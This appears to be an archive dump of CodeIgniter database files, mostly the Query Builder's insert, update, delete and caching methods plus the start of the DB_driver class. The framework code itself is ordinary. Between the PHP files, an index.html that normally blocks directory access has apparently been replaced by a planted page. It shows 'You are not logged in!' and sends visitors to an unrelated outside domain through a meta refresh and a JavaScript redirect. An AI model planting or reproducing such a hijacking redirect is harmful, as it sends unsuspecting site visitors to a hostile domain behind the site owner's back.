$this->query($this->_compile_select($this->_count_string.$this->protect_identifiers('numrows'))); if ($reset === TRUE) { $this->_reset_select(); } else { $this->qb_orderby = $qb_orderby; $this->qb_cache_orderby = $qb_cache_orderby; } if ($result->num_rows() === 0) { return 0; } $row = $result->row(); return (int) $row->numrows; } // -------------------------------------------------------------------- /** * get_where() * * Allows the where clause, limit and offset to be added directly * * @param string $table * @param string $where * @param int $limit * @param int $offset * @return CI_DB_result */ public function get_where($table = '', $where = NULL, $limit = NULL, $offset = NULL) { if ($table !== '') { $this->from($table); } if ($where !== NULL) { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit, $offset); } $result = $this->query($this->_compile_select()); $this->_reset_select(); return $result; } // -------------------------------------------------------------------- /** * Insert_Batch * * Compiles batch insert strings and runs the queries * * @param string $table Table to insert into * @param array $set An associative array of insert values * @param bool $escape Whether to escape values and identifiers * @return int Number of rows inserted or FALSE on failure */ public function insert_batch($table, $set = NULL, $escape = NULL, $batch_size = 100) { if ($set === NULL) { if (empty($this->qb_set)) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } } else { if (empty($set)) { return ($this->db_debug) ? $this->display_error('insert_batch() called with no data') : FALSE; } $this->set_insert_batch($set, '', $escape); } if (strlen($table) === 0) { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } // Batch this baby $affected_rows = 0; for ($i = 0, $total = count($this->qb_set); $i < $total; $i += $batch_size) { if ($this->query($this->_insert_batch($this->protect_identifiers($table, TRUE, $escape, FALSE), $this->qb_keys, array_slice($this->qb_set, $i, $batch_size)))) { $affected_rows += $this->affected_rows(); } } $this->_reset_write(); return $affected_rows; } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string */ protected function _insert_batch($table, $keys, $values) { return 'INSERT INTO '.$table.' ('.implode(', ', $keys).') VALUES '.implode(', ', $values); } // -------------------------------------------------------------------- /** * The "set_insert_batch" function. Allows key/value pairs to be set for batch inserts * * @param mixed * @param string * @param bool * @return CI_DB_query_builder */ public function set_insert_batch($key, $value = '', $escape = NULL) { $key = $this->_object_to_array_batch($key); if ( ! is_array($key)) { $key = array($key => $value); } is_bool($escape) OR $escape = $this->_protect_identifiers; $keys = array_keys($this->_object_to_array(reset($key))); sort($keys); foreach ($key as $row) { $row = $this->_object_to_array($row); if (count(array_diff($keys, array_keys($row))) > 0 OR count(array_diff(array_keys($row), $keys)) > 0) { // batch function above returns an error on an empty array $this->qb_set[] = array(); return; } ksort($row); // puts $row in the same order as our keys if ($escape !== FALSE) { $clean = array(); foreach ($row as $value) { $clean[] = $this->escape($value); } $row = $clean; } $this->qb_set[] = '('.implode(',', $row).')'; } foreach ($keys as $k) { $this->qb_keys[] = $this->protect_identifiers($k, FALSE, $escape); } return $this; } // -------------------------------------------------------------------- /** * Get INSERT query string * * Compiles an insert query and returns the sql * * @param string the table to insert into * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_insert($table = '', $reset = TRUE) { if ($this->_validate_insert($table) === FALSE) { return FALSE; } $sql = $this->_insert( $this->protect_identifiers( $this->qb_from[0], TRUE, NULL, FALSE ), array_keys($this->qb_set), array_values($this->qb_set) ); if ($reset === TRUE) { $this->_reset_write(); } return $sql; } // -------------------------------------------------------------------- /** * Insert * * Compiles an insert string and runs the query * * @param string the table to insert data into * @param array an associative array of insert values * @param bool $escape Whether to escape values and identifiers * @return bool TRUE on success, FALSE on failure */ public function insert($table = '', $set = NULL, $escape = NULL) { if ($set !== NULL) { $this->set($set, '', $escape); } if ($this->_validate_insert($table) === FALSE) { return FALSE; } $sql = $this->_insert( $this->protect_identifiers( $this->qb_from[0], TRUE, $escape, FALSE ), array_keys($this->qb_set), array_values($this->qb_set) ); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Validate Insert * * This method is used by both insert() and get_compiled_insert() to * validate that the there data is actually being set and that table * has been chosen to be inserted into. * * @param string the table to insert data into * @return string */ protected function _validate_insert($table = '') { if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table !== '') { $this->qb_from[0] = $table; } elseif ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Replace * * Compiles an replace into string and runs the query * * @param string the table to replace data into * @param array an associative array of insert values * @return bool TRUE on success, FALSE on failure */ public function replace($table = '', $set = NULL) { if ($set !== NULL) { $this->set($set); } if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } $sql = $this->_replace($this->protect_identifiers($table, TRUE, NULL, FALSE), array_keys($this->qb_set), array_values($this->qb_set)); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Replace statement * * Generates a platform-specific replace string from the supplied data * * @param string the table name * @param array the insert keys * @param array the insert values * @return string */ protected function _replace($table, $keys, $values) { return 'REPLACE INTO '.$table.' ('.implode(', ', $keys).') VALUES ('.implode(', ', $values).')'; } // -------------------------------------------------------------------- /** * FROM tables * * Groups tables in FROM clauses if needed, so there is no confusion * about operator precedence. * * Note: This is only used (and overridden) by MySQL and CUBRID. * * @return string */ protected function _from_tables() { return implode(', ', $this->qb_from); } // -------------------------------------------------------------------- /** * Get UPDATE query string * * Compiles an update query and returns the sql * * @param string the table to update * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_update($table = '', $reset = TRUE) { // Combine any cached components with the current statements $this->_merge_cache(); if ($this->_validate_update($table) === FALSE) { return FALSE; } $sql = $this->_update($this->qb_from[0], $this->qb_set); if ($reset === TRUE) { $this->_reset_write(); } return $sql; } // -------------------------------------------------------------------- /** * UPDATE * * Compiles an update string and runs the query. * * @param string $table * @param array $set An associative array of update values * @param mixed $where * @param int $limit * @return bool TRUE on success, FALSE on failure */ public function update($table = '', $set = NULL, $where = NULL, $limit = NULL) { // Combine any cached components with the current statements $this->_merge_cache(); if ($set !== NULL) { $this->set($set); } if ($this->_validate_update($table) === FALSE) { return FALSE; } if ($where !== NULL) { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit); } $sql = $this->_update($this->qb_from[0], $this->qb_set); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Validate Update * * This method is used by both update() and get_compiled_update() to * validate that data is actually being set and that a table has been * chosen to be update. * * @param string the table to update data on * @return bool */ protected function _validate_update($table) { if (count($this->qb_set) === 0) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } if ($table !== '') { $this->qb_from = array($this->protect_identifiers($table, TRUE, NULL, FALSE)); } elseif ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * Update_Batch * * Compiles an update string and runs the query * * @param string the table to retrieve the results from * @param array an associative array of update values * @param string the where key * @return int number of rows affected or FALSE on failure */ public function update_batch($table, $set = NULL, $index = NULL, $batch_size = 100) { // Combine any cached components with the current statements $this->_merge_cache(); if ($index === NULL) { return ($this->db_debug) ? $this->display_error('db_must_use_index') : FALSE; } if ($set === NULL) { if (empty($this->qb_set_ub)) { return ($this->db_debug) ? $this->display_error('db_must_use_set') : FALSE; } } else { if (empty($set)) { return ($this->db_debug) ? $this->display_error('update_batch() called with no data') : FALSE; } $this->set_update_batch($set, $index); } if (strlen($table) === 0) { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } // Batch this baby $affected_rows = 0; for ($i = 0, $total = count($this->qb_set_ub); $i < $total; $i += $batch_size) { if ($this->query($this->_update_batch($this->protect_identifiers($table, TRUE, NULL, FALSE), array_slice($this->qb_set_ub, $i, $batch_size), $index))) { $affected_rows += $this->affected_rows(); } $this->qb_where = array(); } $this->_reset_write(); return $affected_rows; } // -------------------------------------------------------------------- /** * Update_Batch statement * * Generates a platform-specific batch update string from the supplied data * * @param string $table Table name * @param array $values Update data * @param string $index WHERE key * @return string */ protected function _update_batch($table, $values, $index) { $ids = array(); foreach ($values as $key => $val) { $ids[] = $val[$index]['value']; foreach (array_keys($val) as $field) { if ($field !== $index) { $final[$val[$field]['field']][] = 'WHEN '.$val[$index]['field'].' = '.$val[$index]['value'].' THEN '.$val[$field]['value']; } } } $cases = ''; foreach ($final as $k => $v) { $cases .= $k." = CASE \n" .implode("\n", $v)."\n" .'ELSE '.$k.' END, '; } $this->where($val[$index]['field'].' IN('.implode(',', $ids).')', NULL, FALSE); return 'UPDATE '.$table.' SET '.substr($cases, 0, -2).$this->_compile_wh('qb_where'); } // -------------------------------------------------------------------- /** * The "set_update_batch" function. Allows key/value pairs to be set for batch updating * * @param array * @param string * @param bool * @return CI_DB_query_builder */ public function set_update_batch($key, $index = '', $escape = NULL) { $key = $this->_object_to_array_batch($key); if ( ! is_array($key)) { // @todo error } is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $index_set = FALSE; $clean = array(); foreach ($v as $k2 => $v2) { if ($k2 === $index) { $index_set = TRUE; } $clean[$k2] = array( 'field' => $this->protect_identifiers($k2, FALSE, $escape), 'value' => ($escape === FALSE ? $v2 : $this->escape($v2)) ); } if ($index_set === FALSE) { return $this->display_error('db_batch_missing_index'); } $this->qb_set_ub[] = $clean; } return $this; } // -------------------------------------------------------------------- /** * Empty Table * * Compiles a delete string and runs "DELETE FROM table" * * @param string the table to empty * @return bool TRUE on success, FALSE on failure */ public function empty_table($table = '') { if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } $sql = $this->_delete($table); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Truncate * * Compiles a truncate string and runs the query * If the database does not support the truncate() command * This function maps to "DELETE FROM table" * * @param string the table to truncate * @return bool TRUE on success, FALSE on failure */ public function truncate($table = '') { if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } $sql = $this->_truncate($table); $this->_reset_write(); return $this->query($sql); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the truncate() command, * then this method maps to 'DELETE FROM table' * * @param string the table name * @return string */ protected function _truncate($table) { return 'TRUNCATE '.$table; } // -------------------------------------------------------------------- /** * Get DELETE query string * * Compiles a delete query string and returns the sql * * @param string the table to delete from * @param bool TRUE: reset QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_delete($table = '', $reset = TRUE) { $this->return_delete_sql = TRUE; $sql = $this->delete($table, '', NULL, $reset); $this->return_delete_sql = FALSE; return $sql; } // -------------------------------------------------------------------- /** * Delete * * Compiles a delete string and runs the query * * @param mixed the table(s) to delete from. String or array * @param mixed the where clause * @param mixed the limit clause * @param bool * @return mixed */ public function delete($table = '', $where = '', $limit = NULL, $reset_data = TRUE) { // Combine any cached components with the current statements $this->_merge_cache(); if ($table === '') { if ( ! isset($this->qb_from[0])) { return ($this->db_debug) ? $this->display_error('db_must_set_table') : FALSE; } $table = $this->qb_from[0]; } elseif (is_array($table)) { empty($where) && $reset_data = FALSE; foreach ($table as $single_table) { $this->delete($single_table, $where, $limit, $reset_data); } return; } else { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } if ($where !== '') { $this->where($where); } if ( ! empty($limit)) { $this->limit($limit); } if (count($this->qb_where) === 0) { return ($this->db_debug) ? $this->display_error('db_del_must_use_where') : FALSE; } $sql = $this->_delete($table); if ($reset_data) { $this->_reset_write(); } return ($this->return_delete_sql === TRUE) ? $sql : $this->query($sql); } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string the table name * @return string */ protected function _delete($table) { return 'DELETE FROM '.$table.$this->_compile_wh('qb_where') .($this->qb_limit !== FALSE ? ' LIMIT '.$this->qb_limit : ''); } // -------------------------------------------------------------------- /** * DB Prefix * * Prepends a database prefix if one exists in configuration * * @param string the table * @return string */ public function dbprefix($table = '') { if ($table === '') { $this->display_error('db_table_name_required'); } return $this->dbprefix.$table; } // -------------------------------------------------------------------- /** * Set DB Prefix * * Set's the DB Prefix to something new without needing to reconnect * * @param string the prefix * @return string */ public function set_dbprefix($prefix = '') { return $this->dbprefix = $prefix; } // -------------------------------------------------------------------- /** * Track Aliases * * Used to track SQL statements written with aliased tables. * * @param string The table to inspect * @return string */ protected function _track_aliases($table) { if (is_array($table)) { foreach ($table as $t) { $this->_track_aliases($t); } return; } // Does the string contain a comma? If so, we need to separate // the string into discreet statements if (strpos($table, ',') !== FALSE) { return $this->_track_aliases(explode(',', $table)); } // if a table alias is used we can recognize it by a space if (strpos($table, ' ') !== FALSE) { // if the alias is written with the AS keyword, remove it $table = preg_replace('/\s+AS\s+/i', ' ', $table); // Grab the alias $table = trim(strrchr($table, ' ')); // Store the alias, if it doesn't already exist if ( ! in_array($table, $this->qb_aliased_tables, TRUE)) { $this->qb_aliased_tables[] = $table; if ($this->qb_caching === TRUE && ! in_array($table, $this->qb_cache_aliased_tables, TRUE)) { $this->qb_cache_aliased_tables[] = $table; $this->qb_cache_exists[] = 'aliased_tables'; } } } } // -------------------------------------------------------------------- /** * Compile the SELECT statement * * Generates a query string based on which functions were used. * Should not be called directly. * * @param bool $select_override * @return string */ protected function _compile_select($select_override = FALSE) { // Combine any cached components with the current statements $this->_merge_cache(); // Write the "select" portion of the query if ($select_override !== FALSE) { $sql = $select_override; } else { $sql = ( ! $this->qb_distinct) ? 'SELECT ' : 'SELECT DISTINCT '; if (count($this->qb_select) === 0) { $sql .= '*'; } else { // Cycle through the "select" portion of the query and prep each column name. // The reason we protect identifiers here rather than in the select() function // is because until the user calls the from() function we don't know if there are aliases foreach ($this->qb_select as $key => $val) { $no_escape = isset($this->qb_no_escape[$key]) ? $this->qb_no_escape[$key] : NULL; $this->qb_select[$key] = $this->protect_identifiers($val, FALSE, $no_escape); } $sql .= implode(', ', $this->qb_select); } } // Write the "FROM" portion of the query if (count($this->qb_from) > 0) { $sql .= "\nFROM ".$this->_from_tables(); } // Write the "JOIN" portion of the query if (count($this->qb_join) > 0) { $sql .= "\n".implode("\n", $this->qb_join); } $sql .= $this->_compile_wh('qb_where') .$this->_compile_group_by() .$this->_compile_wh('qb_having') .$this->_compile_order_by(); // ORDER BY // LIMIT if ($this->qb_limit !== FALSE OR $this->qb_offset) { return $this->_limit($sql."\n"); } return $sql; } // -------------------------------------------------------------------- /** * Compile WHERE, HAVING statements * * Escapes identifiers in WHERE and HAVING statements at execution time. * * Required so that aliases are tracked properly, regardless of whether * where(), or_where(), having(), or_having are called prior to from(), * join() and dbprefix is added only if needed. * * @param string $qb_key 'qb_where' or 'qb_having' * @return string SQL statement */ protected function _compile_wh($qb_key) { if (count($this->$qb_key) > 0) { for ($i = 0, $c = count($this->$qb_key); $i < $c; $i++) { // Is this condition already compiled? if (is_string($this->{$qb_key}[$i])) { continue; } elseif ($this->{$qb_key}[$i]['escape'] === FALSE) { $this->{$qb_key}[$i] = $this->{$qb_key}[$i]['condition'].(isset($this->{$qb_key}[$i]['value']) ? ' '.$this->{$qb_key}[$i]['value'] : ''); continue; } // Split multiple conditions $conditions = preg_split( '/((?:^|\s+)AND\s+|(?:^|\s+)OR\s+)/i', $this->{$qb_key}[$i]['condition'], -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY ); for ($ci = 0, $cc = count($conditions); $ci < $cc; $ci++) { if (($op = $this->_get_operator($conditions[$ci])) === FALSE OR ! preg_match('/^(\(?)(.*)('.preg_quote($op, '/').')\s*(.*(?<!\)))?(\)?)$/i', $conditions[$ci], $matches)) { continue; } // $matches = array( // 0 => '(test <= foo)', /* the whole thing */ // 1 => '(', /* optional */ // 2 => 'test', /* the field name */ // 3 => ' <= ', /* $op */ // 4 => 'foo', /* optional, if $op is e.g. 'IS NULL' */ // 5 => ')' /* optional */ // ); if ( ! empty($matches[4])) { $this->_is_literal($matches[4]) OR $matches[4] = $this->protect_identifiers(trim($matches[4])); $matches[4] = ' '.$matches[4]; } $conditions[$ci] = $matches[1].$this->protect_identifiers(trim($matches[2])) .' '.trim($matches[3]).$matches[4].$matches[5]; } $this->{$qb_key}[$i] = implode('', $conditions).(isset($this->{$qb_key}[$i]['value']) ? ' '.$this->{$qb_key}[$i]['value'] : ''); } return ($qb_key === 'qb_having' ? "\nHAVING " : "\nWHERE ") .implode("\n", $this->$qb_key); } return ''; } // -------------------------------------------------------------------- /** * Compile GROUP BY * * Escapes identifiers in GROUP BY statements at execution time. * * Required so that aliases are tracked properly, regardless of whether * group_by() is called prior to from(), join() and dbprefix is added * only if needed. * * @return string SQL statement */ protected function _compile_group_by() { if (count($this->qb_groupby) > 0) { for ($i = 0, $c = count($this->qb_groupby); $i < $c; $i++) { // Is it already compiled? if (is_string($this->qb_groupby[$i])) { continue; } $this->qb_groupby[$i] = ($this->qb_groupby[$i]['escape'] === FALSE OR $this->_is_literal($this->qb_groupby[$i]['field'])) ? $this->qb_groupby[$i]['field'] : $this->protect_identifiers($this->qb_groupby[$i]['field']); } return "\nGROUP BY ".implode(', ', $this->qb_groupby); } return ''; } // -------------------------------------------------------------------- /** * Compile ORDER BY * * Escapes identifiers in ORDER BY statements at execution time. * * Required so that aliases are tracked properly, regardless of whether * order_by() is called prior to from(), join() and dbprefix is added * only if needed. * * @return string SQL statement */ protected function _compile_order_by() { if (empty($this->qb_orderby)) { return ''; } for ($i = 0, $c = count($this->qb_orderby); $i < $c; $i++) { if (is_string($this->qb_orderby[$i])) { continue; } if ($this->qb_orderby[$i]['escape'] !== FALSE && ! $this->_is_literal($this->qb_orderby[$i]['field'])) { $this->qb_orderby[$i]['field'] = $this->protect_identifiers($this->qb_orderby[$i]['field']); } $this->qb_orderby[$i] = $this->qb_orderby[$i]['field'].$this->qb_orderby[$i]['direction']; } return "\nORDER BY ".implode(', ', $this->qb_orderby); } // -------------------------------------------------------------------- /** * Object to Array * * Takes an object as input and converts the class variables to array key/vals * * @param object * @return array */ protected function _object_to_array($object) { if ( ! is_object($object)) { return $object; } $array = array(); foreach (get_object_vars($object) as $key => $val) { // There are some built in keys we need to ignore for this conversion if ( ! is_object($val) && ! is_array($val) && $key !== '_parent_name') { $array[$key] = $val; } } return $array; } // -------------------------------------------------------------------- /** * Object to Array * * Takes an object as input and converts the class variables to array key/vals * * @param object * @return array */ protected function _object_to_array_batch($object) { if ( ! is_object($object)) { return $object; } $array = array(); $out = get_object_vars($object); $fields = array_keys($out); foreach ($fields as $val) { // There are some built in keys we need to ignore for this conversion if ($val !== '_parent_name') { $i = 0; foreach ($out[$val] as $data) { $array[$i++][$val] = $data; } } } return $array; } // -------------------------------------------------------------------- /** * Start Cache * * Starts QB caching * * @return CI_DB_query_builder */ public function start_cache() { $this->qb_caching = TRUE; return $this; } // -------------------------------------------------------------------- /** * Stop Cache * * Stops QB caching * * @return CI_DB_query_builder */ public function stop_cache() { $this->qb_caching = FALSE; return $this; } // -------------------------------------------------------------------- /** * Flush Cache * * Empties the QB cache * * @return CI_DB_query_builder */ public function flush_cache() { $this->_reset_run(array( 'qb_cache_select' => array(), 'qb_cache_from' => array(), 'qb_cache_join' => array(), 'qb_cache_where' => array(), 'qb_cache_groupby' => array(), 'qb_cache_having' => array(), 'qb_cache_orderby' => array(), 'qb_cache_set' => array(), 'qb_cache_exists' => array(), 'qb_cache_no_escape' => array(), 'qb_cache_aliased_tables' => array() )); return $this; } // -------------------------------------------------------------------- /** * Merge Cache * * When called, this function merges any cached QB arrays with * locally called ones. * * @return void */ protected function _merge_cache() { if (count($this->qb_cache_exists) === 0) { return; } elseif (in_array('select', $this->qb_cache_exists, TRUE)) { $qb_no_escape = $this->qb_cache_no_escape; } foreach (array_unique($this->qb_cache_exists) as $val) // select, from, etc. { $qb_variable = 'qb_'.$val; $qb_cache_var = 'qb_cache_'.$val; $qb_new = $this->$qb_cache_var; for ($i = 0, $c = count($this->$qb_variable); $i < $c; $i++) { if ( ! in_array($this->{$qb_variable}[$i], $qb_new, TRUE)) { $qb_new[] = $this->{$qb_variable}[$i]; if ($val === 'select') { $qb_no_escape[] = $this->qb_no_escape[$i]; } } } $this->$qb_variable = $qb_new; if ($val === 'select') { $this->qb_no_escape = $qb_no_escape; } } } // -------------------------------------------------------------------- /** * Is literal * * Determines if a string represents a literal value or a field name * * @param string $str * @return bool */ protected function _is_literal($str) { $str = trim($str); if (empty($str) OR ctype_digit($str) OR (string) (float) $str === $str OR in_array(strtoupper($str), array('TRUE', 'FALSE'), TRUE)) { return TRUE; } static $_str; if (empty($_str)) { $_str = ($this->_escape_char !== '"') ? array('"', "'") : array("'"); } return in_array($str[0], $_str, TRUE); } // -------------------------------------------------------------------- /** * Reset Query Builder values. * * Publicly-visible method to reset the QB values. * * @return CI_DB_query_builder */ public function reset_query() { $this->_reset_select(); $this->_reset_write(); return $this; } // -------------------------------------------------------------------- /** * Resets the query builder values. Called by the get() function * * @param array An array of fields to reset * @return void */ protected function _reset_run($qb_reset_items) { foreach ($qb_reset_items as $item => $default_value) { $this->$item = $default_value; } } // -------------------------------------------------------------------- /** * Resets the query builder values. Called by the get() function * * @return void */ protected function _reset_select() { $this->_reset_run(array( 'qb_select' => array(), 'qb_from' => array(), 'qb_join' => array(), 'qb_where' => array(), 'qb_groupby' => array(), 'qb_having' => array(), 'qb_orderby' => array(), 'qb_aliased_tables' => array(), 'qb_no_escape' => array(), 'qb_distinct' => FALSE, 'qb_limit' => FALSE, 'qb_offset' => FALSE )); } // -------------------------------------------------------------------- /** * Resets the query builder "write" values. * * Called by the insert() update() insert_batch() update_batch() and delete() functions * * @return void */ protected function _reset_write() { $this->_reset_run(array( 'qb_set' => array(), 'qb_set_ub' => array(), 'qb_from' => array(), 'qb_join' => array(), 'qb_where' => array(), 'qb_orderby' => array(), 'qb_keys' => array(), 'qb_limit' => FALSE )); } } index.html 0000444 00000000605 14642767356 0006564 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> DB_driver.php 0000644 00000131566 14642767356 0007155 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Database Driver Class * * This is the platform-independent base DB implementation class. * This class will not be called directly. Rather, the adapter * class for the specific database will extend and instantiate it. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ abstract class CI_DB_driver { /** * Data Source Name / Connect string * * @var string */ public $dsn; /** * Username * * @var string */ public $username; /** * Password * * @var string */ public $password; /** * Hostname * * @var string */ public $hostname; /** * Database name * * @var string */ public $database; /** * Database driver * * @var string */ public $dbdriver = 'mysqli'; /** * Sub-driver * * @used-by CI_DB_pdo_driver * @var string */ public $subdriver; /** * Table prefix * * @var string */ public $dbprefix = ''; /** * Character set * * @var string */ public $char_set = 'utf8'; /** * Collation * * @var string */ public $dbcollat = 'utf8_general_ci'; /** * Encryption flag/data * * @var mixed */ public $encrypt = FALSE; /** * Swap Prefix * * @var string */ public $swap_pre = ''; /** * Database port * * @var int */ public $port = NULL; /** * Persistent connection flag * * @var bool */ public $pconnect = FALSE; /** * Connection ID * * @var object|resource */ public $conn_id = FALSE; /** * Result ID * * @var object|resource */ public $result_id = FALSE; /** * Debug flag * * Whether to display error messages. * * @var bool */ public $db_debug = FALSE; /** * Benchmark time * * @var int */ public $benchmark = 0; /** * Executed queries count * * @var int */ public $query_count = 0; /** * Bind marker * * Character used to identify values in a prepared statement. * * @var string */ public $bind_marker = '?'; /** * Save queries flag * * Whether to keep an in-memory history of queries for debugging purposes. * * @var bool */ public $save_queries = TRUE; /** * Queries list * * @see CI_DB_driver::$save_queries * @var string[] */ public $queries = array(); /** * Query times * * A list of times that queries took to execute. * * @var array */ public $query_times = array(); /** * Data cache * * An internal generic value cache. * * @var array */ public $data_cache = array(); /** * Transaction enabled flag * * @var bool */ public $trans_enabled = TRUE; /** * Strict transaction mode flag * * @var bool */ public $trans_strict = TRUE; /** * Transaction depth level * * @var int */ protected $_trans_depth = 0; /** * Transaction status flag * * Used with transactions to determine if a rollback should occur. * * @var bool */ protected $_trans_status = TRUE; /** * Transaction failure flag * * Used with transactions to determine if a transaction has failed. * * @var bool */ protected $_trans_failure = FALSE; /** * Cache On flag * * @var bool */ public $cache_on = FALSE; /** * Cache directory path * * @var bool */ public $cachedir = ''; /** * Cache auto-delete flag * * @var bool */ public $cache_autodel = FALSE; /** * DB Cache object * * @see CI_DB_cache * @var object */ public $CACHE; /** * Protect identifiers flag * * @var bool */ protected $_protect_identifiers = TRUE; /** * List of reserved identifiers * * Identifiers that must NOT be escaped. * * @var string[] */ protected $_reserved_identifiers = array('*'); /** * Identifier escape character * * @var string */ protected $_escape_char = '"'; /** * ESCAPE statement string * * @var string */ protected $_like_escape_str = " ESCAPE '%s' "; /** * ESCAPE character * * @var string */ protected $_like_escape_chr = '!'; /** * ORDER BY random keyword * * @var array */ protected $_random_keyword = array('RAND()', 'RAND(%d)'); /** * COUNT string * * @used-by CI_DB_driver::count_all() * @used-by CI_DB_query_builder::count_all_results() * * @var string */ protected $_count_string = 'SELECT COUNT(*) AS '; // -------------------------------------------------------------------- /** * Class constructor * * @param array $params * @return void */ public function __construct($params) { if (is_array($params)) { foreach ($params as $key => $val) { $this->$key = $val; } } log_message('info', 'Database Driver Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize Database Settings * * @return bool */ public function initialize() { /* If an established connection is available, then there's * no need to connect and select the database. * * Depending on the database driver, conn_id can be either * boolean TRUE, a resource or an object. */ if ($this->conn_id) { return TRUE; } // ---------------------------------------------------------------- // Connect to the database and set the connection ID $this->conn_id = $this->db_connect($this->pconnect); // No connection resource? Check if there is a failover else throw an error if ( ! $this->conn_id) { // Check if there is a failover set if ( ! empty($this->failover) && is_array($this->failover)) { // Go over all the failovers foreach ($this->failover as $failover) { // Replace the current settings with those of the failover foreach ($failover as $key => $val) { $this->$key = $val; } // Try to connect $this->conn_id = $this->db_connect($this->pconnect); // If a connection is made break the foreach loop if ($this->conn_id) { break; } } } // We still don't have a connection? if ( ! $this->conn_id) { log_message('error', 'Unable to connect to the database'); if ($this->db_debug) { $this->display_error('db_unable_to_connect'); } return FALSE; } } // Now we set the character set and that's all return $this->db_set_charset($this->char_set); } // -------------------------------------------------------------------- /** * DB connect * * This is just a dummy method that all drivers will override. * * @return mixed */ public function db_connect() { return TRUE; } // -------------------------------------------------------------------- /** * Persistent database connection * * @return mixed */ public function db_pconnect() { return $this->db_connect(TRUE); } // -------------------------------------------------------------------- /** * Reconnect * * Keep / reestablish the db connection if no queries have been * sent for a length of time exceeding the server's idle timeout. * * This is just a dummy method to allow drivers without such * functionality to not declare it, while others will override it. * * @return void */ public function reconnect() { } // -------------------------------------------------------------------- /** * Select database * * This is just a dummy method to allow drivers without such * functionality to not declare it, while others will override it. * * @return bool */ public function db_select() { return TRUE; } // -------------------------------------------------------------------- /** * Last error * * @return array */ public function error() { return array('code' => NULL, 'message' => NULL); } // -------------------------------------------------------------------- /** * Set client character set * * @param string * @return bool */ public function db_set_charset($charset) { if (method_exists($this, '_db_set_charset') && ! $this->_db_set_charset($charset)) { log_message('error', 'Unable to set database connection charset: '.$charset); if ($this->db_debug) { $this->display_error('db_unable_to_set_charset', $charset); } return FALSE; } return TRUE; } // -------------------------------------------------------------------- /** * The name of the platform in use (mysql, mssql, etc...) * * @return string */ public function platform() { return $this->dbdriver; } // -------------------------------------------------------------------- /** * Database version number * * Returns a string containing the version of the database being used. * Most drivers will override this method. 